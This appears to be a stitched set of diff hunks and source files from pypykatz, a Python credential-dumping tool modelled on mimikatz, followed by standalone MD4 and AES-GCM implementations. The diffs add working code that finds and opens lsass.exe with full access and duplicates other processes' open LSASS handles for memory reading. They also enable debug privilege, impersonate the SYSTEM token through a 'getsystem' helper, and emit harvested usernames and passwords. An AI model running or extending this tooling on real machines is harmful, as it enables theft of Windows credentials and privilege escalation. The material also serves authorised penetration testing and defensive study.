102 buf = ctypes.create_unicode_buffer(MAX_PATH_UNICODE)
103 process_info.ImageName.MaximumLength = len(buf)
104 process_info.ImageName.Buffer = addressof(buf)
105 status = _NtQuerySystemInformation(
106 SystemProcessIdInformation,
107 process_info,
108 sizeof(process_info),
109 None)
110 if status == 0:
111 image_filename = str(process_info.ImageName.Buffer)
112 if image_filename.startswith('\\Device\\'):
113 for win_path in DEVICE_PREFIXES:
114 if image_filename.startswith(win_path):
115 image_filename = DEVICE_PREFIXES[win_path] + image_filename[len(win_path):]
116 else:
117 image_filename = 'N/A'
118 return image_filename
119
120 PS_PROTECTED_TYPE_STRINGS = [None,"Light","Full"]
121 PS_PROTECTED_SIGNER_STRINGS = [None, "Authenticode", "CodeGen", "Antimalware", "Lsa",
122 "Windows", "WinTcb", "WinSystem", "StoreApp"]
123 PS_PROTECTED_TYPE_OLD_OS_STRINGS = [None,"System protected process"]
124
54125 #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx
126 #def enum_process_names():
127 # pid_to_fullname = {}
128 #
129 # for pid in EnumProcesses():
130 # if pid == 0:
131 # continue
132 #
133 # pid_to_fullname[pid] = get_process_full_imagename(pid)
134 # return pid_to_fullname
135
55136 def enum_process_names():
56137 pid_to_name = {}
57138
66147
67148 pid_to_name[pid] = QueryFullProcessImageNameW(process_handle)
68149 return pid_to_name
69
150
151 def get_process_extended_basic_information(pid,process_handle=None):
152 process_basic_info = PROCESS_EXTENDED_BASIC_INFORMATION()
153 process_basic_info.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION)
154 _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
155 if process_handle == None:
156 process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
157
158 status = _NtQueryInformationProcess(process_handle,
159 ProcessBasicInformation,
160 byref(process_basic_info),
161 process_basic_info.Size,
162 None)
163 if status < 0:
164 raise ctypes.WinError()
165 CloseHandle(process_handle)
166 return process_basic_info
167
168
169 def get_protected_process_infos(pid,process_handle=None):
170 process_protection_infos = None
171 _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
172 if process_handle == None:
173 process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
174 if WINDOWS_BUILD_NUMBER >= WindowsMinBuild.WIN_8.value:
175 protection_info = PS_PROTECTION()
176 status = _NtQueryInformationProcess(process_handle,
177 ProcessProtectionInformation,
178 byref(protection_info),
179 sizeof(protection_info),
180 None)
181 if status < 0:
182 raise ctypes.WinError()
183 if protection_info.Type > 0:
184 process_protection_infos = {"level": protection_info.Level,
185 "type": PS_PROTECTED_TYPE_STRINGS[protection_info.Type],
186 "signer": PS_PROTECTED_SIGNER_STRINGS[protection_info.Signer],
187 "audit": protection_info.Audit}
188 else:
189 _ps_extended_basic_information = get_process_extended_basic_information(pid,process_handle)
190 if _ps_extended_basic_information.IsProtectedProcess:
191 process_protection_infos = {"type": 'System protected process'}
192 CloseHandle(process_handle)
193 return process_protection_infos
70194
71195 def get_lsass_pid():
72196 pid_to_name = enum_process_names()
73197 for pid in pid_to_name:
74 if pid_to_name[pid].lower().find('lsass.exe') != -1:
198 if pid_to_name[pid].lower().endswith('lsass.exe'):
75199 return pid
76200
77 raise Exception('Failed to find lsass.exe')
201 raise Exception('Failed to find lsass.exe')
292292
293293
294294 class LiveReader:
295 def __init__(self):
295 def __init__(self, lsass_process_handle = None):
296296 self.processor_architecture = None
297297 self.lsass_process_name = 'lsass.exe'
298 self.lsass_process_handle = None
298 self.lsass_process_handle = lsass_process_handle
299299 self.current_position = None
300300 self.BuildNumber = None
301301 self.modules = []
338338 buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber')
339339 self.BuildNumber = int(buildnumber)
340340
341
342 logging.log(1, 'Searching for lsass.exe')
343 pid = get_lsass_pid()
344 logging.log(1, 'Lsass.exe found at PID %d' % pid)
345 logging.log(1, 'Opening lsass.exe')
346 self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
347341 if self.lsass_process_handle is None:
348 raise Exception('Failed to open lsass.exe Reason: %s' % WinError(get_last_error()))
349
342 logging.log(1, 'Searching for lsass.exe')
343 pid = get_lsass_pid()
344 logging.log(1, 'Lsass.exe found at PID %d' % pid)
345 logging.log(1, 'Checking Lsass.exe protection status')
346 #proc_protection_info = get_protected_process_infos(pid)
347 #protection_msg = "Protection Status: No protection"
348 #if proc_protection_info:
349 # protection_msg = f"Protection Status: {proc_protection_info['type']}"
350 # if 'signer' in proc_protection_info:
351 # protection_msg += f" ({proc_protection_info['signer']})"
352 # raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg)
353 #logging.log(1, protection_msg)
354 logging.log(1, 'Opening lsass.exe')
355 self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
356 if self.lsass_process_handle is None:
357 raise Exception('Failed to open lsass.exe Reason: %s' % ctypes.WinError())
358 else:
359 logging.debug('Using pre-defined handle')
350360 logging.log(1, 'Enumerating modules')
351361 module_handles = EnumProcessModules(self.lsass_process_handle)
352362 for module_handle in module_handles:
224224 t = cred.to_dict()
225225 if t['credtype'] != 'dpapi':
226226 if t['password'] is not None:
227 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
227 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password']), '']
228228 yield 0, x
229229 else:
230230 t = cred.to_dict()
205205 self.Data3 = WORD(reader).value
206206 self.Data4 = reader.read(8)
207207 self.value = '-'.join([
208 hex(self.Data1)[2:],
209 hex(self.Data2)[2:],
210 hex(self.Data3)[2:],
211 hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:],
212 hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:]
208 hex(self.Data1)[2:].zfill(8),
209 hex(self.Data2)[2:].zfill(4),
210 hex(self.Data3)[2:].zfill(4),
211 hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:].zfill(4),
212 hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:].zfill(12)
213213 ])
214
215 @staticmethod
216 def from_string(str):
217 guid = GUID()
218 guid.Data1 = bytes.fromhex(str.split('-')[0])
219 guid.Data2 = bytes.fromhex(str.split('-')[1])
220 guid.Data3 = bytes.fromhex(str.split('-')[2])
221 guid.Data4 = bytes.fromhex(str.split('-')[3])
222 guid.Data4 += bytes.fromhex(str.split('-')[4])
223 return guid
214224
215225 class PLIST_ENTRY(POINTER):
216226 def __init__(self, reader):
221231 self.location = reader.tell()
222232 self.Flink = PLIST_ENTRY(reader)
223233 self.Blink = PLIST_ENTRY(reader)
224
234
00
11 import ctypes
22 from pypykatz.commons.winapi.constants import *
3 from pypykatz.commons.winapi.local.function_defs.advapi32 import LookupPrivilegeValueW, OpenProcessToken, GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY
3 from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY
44 from pypykatz.commons.winapi.local.function_defs.kernel32 import STARTUPINFOW
55
66
7272 @staticmethod
7373 def SetThreadToken(token_handle, thread_handle = None):
7474 return SetThreadToken(token_handle, thread_handle = thread_handle)
75
76 @staticmethod
77 def RevertToSelf():
78 return RevertToSelf()
7579
32043204 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSW) * ServicesReturned.value):
32053205 raise ctypes.WinError()
32063206 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSW)
3207 for index in xrange(0, ServicesReturned.value):
3207 for index in range(0, ServicesReturned.value):
32083208 Services.append( ServiceStatusEntry(lpServicesArray[index]) )
32093209 if success: break
32103210 if not success:
33183318
33193319 _SetThreadToken(thread_handle, token_handle)
33203320
3321
3321 def RevertToSelf():
3322 _RevertToSelf = windll.advapi32.RevertToSelf
3323 _RevertToSelf.argtypes = []
3324 _RevertToSelf.restype = bool
3325 _RevertToSelf.errcheck = RaiseIfZero
3326
3327 _RevertToSelf()
33223328
33233329 #==============================================================================
33243330 # This calculates the list of exported symbols.
702702 ("MaximumLength", USHORT),
703703 ("Buffer", PVOID),
704704 ]
705
706 def getString(self):
707 return ctypes.string_at(self.Buffer, self.Length).decode('utf-16-le')
705708
706709 # From MSDN:
707710 #
6464 WRITE_WATCH_FLAG_RESET = 0x01
6565 FILE_MAP_ALL_ACCESS = 0xF001F
6666
67 PROCESS_DUP_HANDLE = 0x0040
68
6769 class UserModeHandle (HANDLE):
6870 """
6971 Base class for non-kernel handles. Generally this means they are closed
341343 _GetCurrentProcessId.argtypes = []
342344 _GetCurrentProcessId.restype = DWORD
343345 return _GetCurrentProcessId()
346
347 # HANDLE WINAPI GetCurrentProcess(void);
348 def GetCurrentProcess():
349 ## return 0xFFFFFFFFFFFFFFFFL
350 _GetCurrentProcess = windll.kernel32.GetCurrentProcess
351 _GetCurrentProcess.argtypes = []
352 _GetCurrentProcess.restype = HANDLE
353 return _GetCurrentProcess()
344354
345355 # BOOL WINAPI QueryFullProcessImageName(
346356 # __in HANDLE hProcess,
33 import enum
44 import logging
55
6 from pypykatz import logger
7 from .ntdll import *
68 from .kernel32 import *
79 from .psapi import *
810
7476 if pid_to_name[pid].lower().find('lsass.exe') != -1:
7577 return pid
7678
77 raise Exception('Failed to find lsass.exe')
79 raise Exception('Failed to find lsass.exe')
80
81 def enum_lsass_handles():
82 #searches for open LSASS process handles in all processes
83 # you should be having SE_DEBUG enabled at this point
84 RtlAdjustPrivilege(20)
85
86 lsass_handles = []
87 sysinfohandles = NtQuerySystemInformation(16)
88 for pid in sysinfohandles:
89 if pid == 4:
90 continue
91 #if pid != GetCurrentProcessId():
92 # continue
93 for syshandle in sysinfohandles[pid]:
94 #print(pid)
95 try:
96 pHandle = OpenProcess(PROCESS_DUP_HANDLE, False, pid)
97 except Exception as e:
98 logger.debug('Error opening process %s Reason: %s' % (pid, e))
99 continue
100
101 try:
102 dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(), PROCESS_QUERY_INFORMATION|PROCESS_VM_READ)
103 #print(dupHandle)
104 except Exception as e:
105 logger.debug('Failed to duplicate object! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle)))
106 continue
107
108 oinfo = NtQueryObject(dupHandle, ObjectTypeInformation)
109 if oinfo.Name.getString() == 'Process':
110 try:
111 pname = QueryFullProcessImageNameW(dupHandle)
112 if pname.lower().find('lsass.exe') != -1:
113 logger.debug('Found open handle to lsass! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle)))
114 #print('%s : %s' % (pid, pname))
115 lsass_handles.append((pid, dupHandle))
116 except Exception as e:
117 logger.debug('Failed to obtain the path of the process! PID: %s' % pid)
118 continue
119
120 return lsass_handles
121
22 from ctypes import windll
33 from ctypes.wintypes import ULONG, BOOL,LONG
44
5 from .defines import *
5 from pypykatz.commons.winapi.local.function_defs.defines import *
6
7 SystemHandleInformation = 16
8 ObjectBasicInformation = 0
9 ObjectNameInformation = 1
10 ObjectTypeInformation = 2
11
12
13 POOL_TYPE = ctypes.c_int
14 NonPagedPool = 1
15 PagedPool = 2
16 NonPagedPoolMustSucceed = 3
17 DontUseThisType = 4
18 NonPagedPoolCacheAligned = 5
19 PagedPoolCacheAligned = 6
20 NonPagedPoolCacheAlignedMustS = 7
21
22 # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-generic_mapping
23 class GENERIC_MAPPING(Structure):
24 _fields_ = [
25 ("GenericRead", ACCESS_MASK ),
26 ("GenericWrite", ACCESS_MASK ),
27 ("GenericExecute", ACCESS_MASK ),
28 ("GenericAll", ACCESS_MASK ),
29 ]
30
31 PGENERIC_MAPPING = POINTER(GENERIC_MAPPING)
32
33 class SYSTEM_HANDLE(Structure):
34 _fields_ = [
35 ("ProcessId", ULONG),
36 ("ObjectTypeNumber", BYTE),
37 ("Flags", BYTE),
38 ("Handle", USHORT),
39 ("Object", PVOID),
40 ("GrantedAccess", ACCESS_MASK),
41 ]
42
43 PSYSTEM_HANDLE = POINTER(SYSTEM_HANDLE)
44
45 #class SYSTEM_HANDLE_INFORMATION(Structure):
46 # _fields_ = [
47 # ("HandleCount", ULONG),
48 # ("Handles", SYSTEM_HANDLE), #not just one handle
49 # ]
50 #
51 #PSYSTEM_HANDLE_INFORMATION = POINTER(SYSTEM_HANDLE_INFORMATION)
52
53 class OBJECT_TYPE_INFORMATION(Structure):
54 _fields_ = [
55 ("Name", UNICODE_STRING),
56 ("TotalNumberOfObjects", ULONG),
57 ("TotalNumberOfHandles", ULONG),
58 ("TotalPagedPoolUsage", ULONG),
59 ("TotalNonPagedPoolUsage", ULONG),
60 ("TotalNamePoolUsage", ULONG),
61 ("TotalHandleTableUsage", ULONG),
62 ("HighWaterNumberOfObjects", ULONG),
63 ("HighWaterNumberOfHandles", ULONG),
64 ("HighWaterPagedPoolUsage", ULONG),
65 ("HighWaterNonPagedPoolUsage", ULONG),
66 ("HighWaterNamePoolUsage", ULONG),
67 ("HighWaterHandleTableUsage", ULONG),
68 ("GenericMapping", GENERIC_MAPPING),
69 ("ValidAccess", ULONG),
70 ("SecurityRequired", BOOLEAN),
71 ("MaintainHandleCount", BOOLEAN),
72 ("MaintainTypeList", USHORT),
73 ("PoolType", POOL_TYPE),
74 ("PagedPoolUsage", ULONG),
75 ("NonPagedPoolUsage", ULONG),
76 ]
77
78 POBJECT_TYPE_INFORMATION = POINTER(OBJECT_TYPE_INFORMATION)
79
680
781 # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html
882 # BOOL WINAPI RtlAdjustPrivilege(
27101 if status != 0:
28102 raise Exception('Failed call to RtlAdjustPrivilege! Status: %s' % status)
29103
30 return Enabled.value
104 return Enabled.value
105
106 # https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
107 def NtQuerySystemInformation(info_type):
108 _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation
109 _NtQuerySystemInformation.argtypes = [ULONG, PVOID, ULONG, PULONG]
110 _NtQuerySystemInformation.restype = ULONG
111
112 handleinfos = {}
113
114 if info_type != 16:
115 raise Exception('info_type only the value 16 is supported!')
116
117 size = DWORD(0x10)
118 data = ctypes.create_string_buffer(size.value)
119 while True:
120 #_NtQuerySystemInformation returns an incorrect expected size...
121 size = DWORD(size.value*2)
122 data = ctypes.create_string_buffer(size.value)
123 status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size))
124 if status == 0:
125 break
126 if status != 0xC0000004:
127 raise Exception('NtQuerySystemInformation returned %s' % hex(status))
128
129 status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size))
130
131 data_bytes = bytearray(data.raw[:size.value])
132
133 hc = ULONG.from_buffer(data_bytes)
134
135 class SYSTEM_HANDLE_INFORMATION(Structure):
136 _fields_ = [
137 ("HandleCount", ULONG),
138 ("Handles", SYSTEM_HANDLE*hc.value), #not just one handle
139 ]
140
141
142 syshandleinfo = SYSTEM_HANDLE_INFORMATION.from_buffer(data_bytes)
143
144 for i in range(syshandleinfo.HandleCount):
145 if not syshandleinfo.Handles[i].ProcessId in handleinfos:
146 handleinfos[syshandleinfo.Handles[i].ProcessId] = []
147 handleinfos[syshandleinfo.Handles[i].ProcessId].append(syshandleinfo.Handles[i])
148
149 return handleinfos
150
151
152 def NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, DesiredAccess = 0):
153 """
154 privilige_id: int
155 """
156 _NtDuplicateObject = windll.ntdll.NtDuplicateObject
157 _NtDuplicateObject.argtypes = [HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG]
158 _NtDuplicateObject.restype = ULONG
159
160
161
162 oHandle = HANDLE()
163 status = _NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, ctypes.byref(oHandle), DesiredAccess,0,0)
164 if status != 0:
165 raise Exception('Failed call to NtDuplicateObject! Status: %s' % status)
166
167 return oHandle
168
169 def NtQueryObject(ObjectHandle, ObjectInformationClass):
170 """
171 privilige_id: int
172 """
173 _NtQueryObject = windll.ntdll.NtQueryObject
174 _NtQueryObject.argtypes = [HANDLE, ULONG, PVOID, ULONG, PULONG]
175 _NtQueryObject.restype = ULONG
176
177 #if ObjectInformationClass not in [ObjectNameInformation, ObjectTypeInformation]:
178 if ObjectInformationClass != ObjectTypeInformation:
179 raise Exception('Unsupported ObjectInformationClass value %s.' % ObjectInformationClass )
180
181 size = ULONG(0x10)
182 oinfo_data = ctypes.create_string_buffer(size.value)
183
184 while True:
185 oinfo_data = ctypes.create_string_buffer(size.value)
186 status = _NtQueryObject(ObjectHandle, ObjectInformationClass, oinfo_data, size, ctypes.byref(size))
187 if status == 0xc0000004:
188 continue
189 if status != 0:
190 raise Exception('Failed call to NtDuplicateObject! Status: %s' % hex(status))
191
192 break
193
194 if ObjectInformationClass == ObjectNameInformation:
195 raise NotImplementedError('TODO: implement me when needed!')
196 elif ObjectInformationClass == ObjectTypeInformation:
197 oinfo = OBJECT_TYPE_INFORMATION.from_buffer(bytearray(oinfo_data.raw[:size.value]))
198
199 return oinfo
200
202202 else:
203203 logger.debug('[ProcessManipulator] Sucsessfully created process!')
204204 break
205
206 def getsystem(self):
207 self.assign_token_thread_sid('S-1-5-18')
208
209 def dropsystem(self):
210 self.api.advapi32.RevertToSelf()
205211
206212 if __name__ == '__main__':
207213 pm = ProcessManipulator()
0 #!/usr/bin/env python3
1 # -*- coding: utf-8 -*-
2 #
3 # Copyright © 2019 James Seo <[email protected]> (github.com/kangtastic).
4 #
5 # This file is released under the WTFPL, version 2 (wtfpl.net).
6 #
7 # md4.py: An implementation of the MD4 hash algorithm in pure Python 3.
8 #
9 # Description: Zounds! Yet another rendition of pseudocode from RFC1320!
10 # Bonus points for the algorithm literally being from 1992.
11 #
12 # Usage: Why would anybody use this? This is self-rolled crypto, and
13 # self-rolled *obsolete* crypto at that. DO NOT USE if you need
14 # something "performant" or "secure". :P
15 #
16 # Anyway, from the command line:
17 #
18 # $ ./md4.py [messages]
19 #
20 # where [messages] are some strings to be hashed.
21 #
22 # In Python, use similarly to hashlib (not that it even has MD4):
23 #
24 # from .md4 import MD4
25 #
26 # digest = MD4("BEES").hexdigest()
27 #
28 # print(digest) # "501af1ef4b68495b5b7e37b15b4cda68"
29 #
30 #
31 # Sample console output:
32 #
33 # Testing the MD4 class.
34 #
35 # Message: b''
36 # Expected: 31d6cfe0d16ae931b73c59d7e0c089c0
37 # Actual: 31d6cfe0d16ae931b73c59d7e0c089c0
38 #
39 # Message: b'The quick brown fox jumps over the lazy dog'
40 # Expected: 1bee69a46ba811185c194762abaeae90
41 # Actual: 1bee69a46ba811185c194762abaeae90
42 #
43 # Message: b'BEES'
44 # Expected: 501af1ef4b68495b5b7e37b15b4cda68
45 # Actual: 501af1ef4b68495b5b7e37b15b4cda68
46 #
47 import struct
48
49
50 class MD4:
51 """An implementation of the MD4 hash algorithm."""
52
53 width = 32
54 mask = 0xFFFFFFFF
55
56 # Unlike, say, SHA-1, MD4 uses little-endian. Fascinating!
57 h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476]
58
59 def __init__(self, msg=None):
60 """:param ByteString msg: The message to be hashed."""
61 if msg is None:
62 msg = b""
63
64 self.msg = msg
65
66 # Pre-processing: Total length is a multiple of 512 bits.
67 ml = len(msg) * 8
68 msg += b"\x80"
69 msg += b"\x00" * (-(len(msg) + 8) % 64)
70 msg += struct.pack("<Q", ml)
71
72 # Process the message in successive 512-bit chunks.
73 self._process([msg[i : i + 64] for i in range(0, len(msg), 64)])
74
75 def __repr__(self):
76 if self.msg:
77 return f"{self.__class__.__name__}({self.msg:s})"
78 return f"{self.__class__.__name__}()"
79
80 def __str__(self):
81 return self.hexdigest()
82
83 def __eq__(self, other):
84 return self.h == other.h
85
86 def bytes(self):
87 """:return: The final hash value as a `bytes` object."""
88 return struct.pack("<4L", *self.h)
89
90 def hexbytes(self):
91 """:return: The final hash value as hexbytes."""
92 return self.hexdigest().encode
93
94 def hexdigest(self):
95 """:return: The final hash value as a hexstring."""
96 return "".join(f"{value:02x}" for value in self.bytes())
97
98 def digest(self):
99 return self.bytes()
100
101 def _process(self, chunks):
102 for chunk in chunks:
103 X, h = list(struct.unpack("<16I", chunk)), self.h.copy()
104
105 # Round 1.
106 Xi = [3, 7, 11, 19]
107 for n in range(16):
108 i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
109 K, S = n, Xi[n % 4]
110 hn = h[i] + MD4.F(h[j], h[k], h[l]) + X[K]
111 h[i] = MD4.lrot(hn & MD4.mask, S)
112
113 # Round 2.
114 Xi = [3, 5, 9, 13]
115 for n in range(16):
116 i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
117 K, S = n % 4 * 4 + n // 4, Xi[n % 4]
118 hn = h[i] + MD4.G(h[j], h[k], h[l]) + X[K] + 0x5A827999
119 h[i] = MD4.lrot(hn & MD4.mask, S)
120
121 # Round 3.
122 Xi = [3, 9, 11, 15]
123 Ki = [0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15]
124 for n in range(16):
125 i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
126 K, S = Ki[n], Xi[n % 4]
127 hn = h[i] + MD4.H(h[j], h[k], h[l]) + X[K] + 0x6ED9EBA1
128 h[i] = MD4.lrot(hn & MD4.mask, S)
129
130 self.h = [((v + n) & MD4.mask) for v, n in zip(self.h, h)]
131
132 @staticmethod
133 def F(x, y, z):
134 return (x & y) | (~x & z)
135
136 @staticmethod
137 def G(x, y, z):
138 return (x & y) | (x & z) | (y & z)
139
140 @staticmethod
141 def H(x, y, z):
142 return x ^ y ^ z
143
144 @staticmethod
145 def lrot(value, n):
146 lbits, rbits = (value << n) & MD4.mask, value >> (MD4.width - n)
147 return lbits | rbits
148
149
150 def main():
151 # Import is intentionally delayed.
152 import sys
153
154 if len(sys.argv) > 1:
155 messages = [msg.encode() for msg in sys.argv[1:]]
156 for message in messages:
157 print(MD4(message).hexdigest())
158 else:
159 messages = [b"", b"The quick brown fox jumps over the lazy dog", b"BEES"]
160 known_hashes = [
161 "31d6cfe0d16ae931b73c59d7e0c089c0",
162 "1bee69a46ba811185c194762abaeae90",
163 "501af1ef4b68495b5b7e37b15b4cda68",
164 ]
165
166 print("Testing the MD4 class.")
167 print()
168
169 for message, expected in zip(messages, known_hashes):
170 print("Message: ", message)
171 print("Expected:", expected)
172 print("Actual: ", MD4(message).hexdigest())
173 print()
174
175
176 if __name__ == "__main__":
177 try:
178 main()
179 except KeyboardInterrupt:
180 pass
0 #!/usr/bin/env python
1
2 """
3 Copyright (C) 2013 Bo Zhu http://about.bozhu.me
4
5 Permission is hereby granted, free of charge, to any person obtaining a
6 copy of this software and associated documentation files (the "Software"),
7 to deal in the Software without restriction, including without limitation
8 the rights to use, copy, modify, merge, publish, distribute, sublicense,
9 and/or sell copies of the Software, and to permit persons to whom the
10 Software is furnished to do so, subject to the following conditions:
11
12 The above copyright notice and this permission notice shall be included in
13 all copies or substantial portions of the Software.
14
15 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
18 THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
20 FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
21 DEALINGS IN THE SOFTWARE.
22
23 SkelSec Note: the original code has been modified to work using questionable crypto libraries by myself who is not a cryptographer.
24 I'd say "use it with suspicion" but in truth: just do not use this at all outside of this library.
25 """
26
27 from pypykatz.crypto.aes import AESModeOfOperationCTR, AESModeOfOperationECB, Counter
28 from pypykatz.crypto.aes.blockfeeder import Decrypter, Encrypter, PADDING_NONE
29
30
31 # GF(2^128) defined by 1 + a + a^2 + a^7 + a^128
32 # Please note the MSB is x0 and LSB is x127
33 def gf_2_128_mul(x, y):
34 assert x < (1 << 128)
35 assert y < (1 << 128)
36 res = 0
37 for i in range(127, -1, -1):
38 res ^= x * ((y >> i) & 1) # branchless
39 x = (x >> 1) ^ ((x & 1) * 0xE1000000000000000000000000000000)
40 assert res < 1 << 128
41 return res
42
43
44 class InvalidInputException(Exception):
45 def __init__(self, msg):
46 self.msg = msg
47
48 def __str__(self):
49 return str(self.msg)
50
51
52 class InvalidTagException(Exception):
53 def __str__(self):
54 return 'The authenticaiton tag is invalid.'
55
56
57 # Galois/Counter Mode with AES-128 and 96-bit IV
58 class AES_GCM:
59 def __init__(self, master_key):
60 self.change_key(master_key)
61
62 def change_key(self, master_key):
63 #if len(master_key) != 16:
64 # raise InvalidInputException('Master key should be 128-bit')
65
66 self.__master_key = master_key
67 self.__aes_ecb = AESModeOfOperationECB(self.__master_key)
68 self.__auth_key = int.from_bytes(self.__aes_ecb.encrypt(b'\x00' * 16), byteorder='big', signed=False)
69
70 # precompute the table for multiplication in finite field
71 table = [] # for 8-bit
72 for i in range(16):
73 row = []
74 for j in range(256):
75 row.append(gf_2_128_mul(self.__auth_key, j << (8 * i)))
76 table.append(tuple(row))
77 self.__pre_table = tuple(table)
78
79 self.prev_init_value = None # reset
80
81 def __times_auth_key(self, val):
82 res = 0
83 for i in range(16):
84 res ^= self.__pre_table[i][val & 0xFF]
85 val >>= 8
86 return res
87
88 def __ghash(self, aad, txt):
89 len_aad = len(aad)
90 len_txt = len(txt)
91
92 # padding
93 if 0 == len_aad % 16:
94 data = aad
95 else:
96 data = aad + b'\x00' * (16 - len_aad % 16)
97 if 0 == len_txt % 16:
98 data += txt
99 else:
100 data += txt + b'\x00' * (16 - len_txt % 16)
101
102 tag = 0
103 assert len(data) % 16 == 0
104 for i in range(len(data) // 16):
105 tag ^= int.from_bytes(data[i * 16: (i + 1) * 16], byteorder='big', signed=False)
106 tag = self.__times_auth_key(tag)
107 # print 'X\t', hex(tag)
108 tag ^= ((8 * len_aad) << 64) | (8 * len_txt)
109 tag = self.__times_auth_key(tag)
110
111 return tag
112
113 def encrypt(self, init_value, plaintext, auth_data=b''):
114 if len(init_value) != 12:
115 raise InvalidInputException('IV should be 96-bit')
116 # a naive checking for IV reuse
117 if init_value == self.prev_init_value:
118 raise InvalidInputException('IV must not be reused!')
119 self.prev_init_value = init_value
120
121 len_plaintext = len(plaintext)
122
123 if len_plaintext > 0:
124 ctrval_init = init_value + b'\x00'*4
125 ctrval = int.from_bytes(ctrval_init, byteorder='big', signed=False)
126 counter = Counter(initial_value=ctrval+2) #+2 ????
127 aes_ctr = AESModeOfOperationCTR(self.__master_key, counter=counter)
128
129 if 0 != len_plaintext % 16:
130 padded_plaintext = plaintext + \
131 b'\x00' * (16 - len_plaintext % 16)
132 else:
133 padded_plaintext = plaintext
134 ciphertext = aes_ctr.encrypt(padded_plaintext)[:len_plaintext]
135
136 else:
137 ciphertext = b''
138
139 auth_tag = self.__ghash(auth_data, ciphertext)
140 iv_int = int.from_bytes(init_value, byteorder='big', signed=False)
141 iv_int = (iv_int << 32) | 1
142 iv_int = iv_int.to_bytes(16, byteorder='big', signed=False)
143 iv_int_enc = self.__aes_ecb.encrypt(iv_int)
144 iv_int_enc = int.from_bytes(iv_int_enc, byteorder='big', signed=False)
145
146 auth_tag ^= iv_int_enc
147
148 assert auth_tag < (1 << 128)
149 return ciphertext, auth_tag.to_bytes(16, byteorder='big', signed=False)
150
151 def decrypt(self, init_value, ciphertext, auth_tag, auth_data=b''):
152 if len(init_value) != 12:
153 raise InvalidInputException('IV should be 96-bit')
154 if len(auth_tag) != 16:
155 raise InvalidInputException('Tag should be 128-bit')
156
157 iv_int = int.from_bytes(init_value, byteorder='big', signed=False)
158 iv_int = (iv_int << 32) | 1
159 iv_int = iv_int.to_bytes(16, byteorder='big', signed=False)
160 iv_int_enc = self.__aes_ecb.encrypt(iv_int)
161 iv_int_enc = int.from_bytes(iv_int_enc, byteorder='big', signed=False)
162 auth_tag_verify = self.__ghash(auth_data, ciphertext) ^ iv_int_enc
163 auth_tag_verify = auth_tag_verify.to_bytes(16, byteorder='big', signed=False)
164 if auth_tag != auth_tag_verify:
165 raise InvalidTagException
166
167 len_ciphertext = len(ciphertext)
168 if len_ciphertext > 0:
169 ctrval_init = init_value + b'\x00'*4
170 ctrval = int.from_bytes(ctrval_init, byteorder='big', signed=False)
171 counter = Counter(initial_value=ctrval+2) #+2 ????
172 aes_ctr = AESModeOfOperationCTR(self.__master_key, counter=counter)
173
174 if 0 != len_ciphertext % 16:
175 padded_ciphertext = ciphertext + \
176 b'\x00' * (16 - len_ciphertext % 16)
177 else:
178 padded_ciphertext = ciphertext
179 plaintext = aes_ctr.decrypt(padded_ciphertext)[:len_ciphertext]
180
181 else:
182 plaintext = b''
183
184 return plaintext
185
186
187 if __name__ == '__main__':
188 master_key = bytes.fromhex('feffe9928665731c6d6a8f9467308308')
